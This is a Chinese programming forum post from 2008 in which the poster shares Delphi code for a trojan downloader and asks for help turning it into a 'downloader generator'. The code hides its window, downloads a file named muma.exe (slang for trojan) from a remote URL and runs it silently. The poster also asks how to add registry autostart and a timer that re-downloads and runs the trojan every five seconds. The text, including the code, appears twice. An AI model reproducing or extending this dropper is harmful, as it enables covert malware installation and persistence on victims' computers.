您所在位置：主题：[讨论]下载者生成器问题!
Winmillion
[专家分：0] 发布于 2008-12-29 22:53:00
[color=FF0000]uses
urlmon;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
winexec('c:\muma.exe',SW_hide);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.hide;
try
urldownloadtofile(nil,pchar('http://www.baidu.com/muma.exe'),
pchar('c:\muma.exe'),0,nil);
finally
winexec('c:\muma.exe',SW_hide);
end;
end;
end.
以上的代码是网马地址下载并执行,可是我想写成一个下载者生成器,我看了很多<Delphi网马生成教程>,里面教的是Memo1.line而且生成出来的格式是html而不是EXE.
我的思路是在窗体里添加一个Edit1.text输入网马的地址,单击生成按钮就可以生成一个下载者的.如果哪位前辈可以把生成出来的EXE下载者,添加注册表启动,和添加一个时钟控件用If判断如果木马不存在的就每隔5秒下载并执行!那就更好了!
请前辈们指教![/color]
urlmon;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
winexec('c:\muma.exe',SW_hide);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.hide;
try
urldownloadtofile(nil,pchar('http://www.baidu.com/muma.exe'),
pchar('c:\muma.exe'),0,nil);
finally
winexec('c:\muma.exe',SW_hide);
end;
end;
end.
以上的代码是网马地址下载并执行,可是我想写成一个下载者生成器,我看了很多<Delphi网马生成教程>,里面教的是Memo1.line而且生成出来的格式是html而不是EXE.
我的思路是在窗体里添加一个Edit1.text输入网马的地址,单击生成按钮就可以生成一个下载者的.如果哪位前辈可以把生成出来的EXE下载者,添加注册表启动,和添加一个时钟控件用If判断如果木马不存在的就每隔5秒下载并执行!那就更好了!
请前辈们指教![/color]
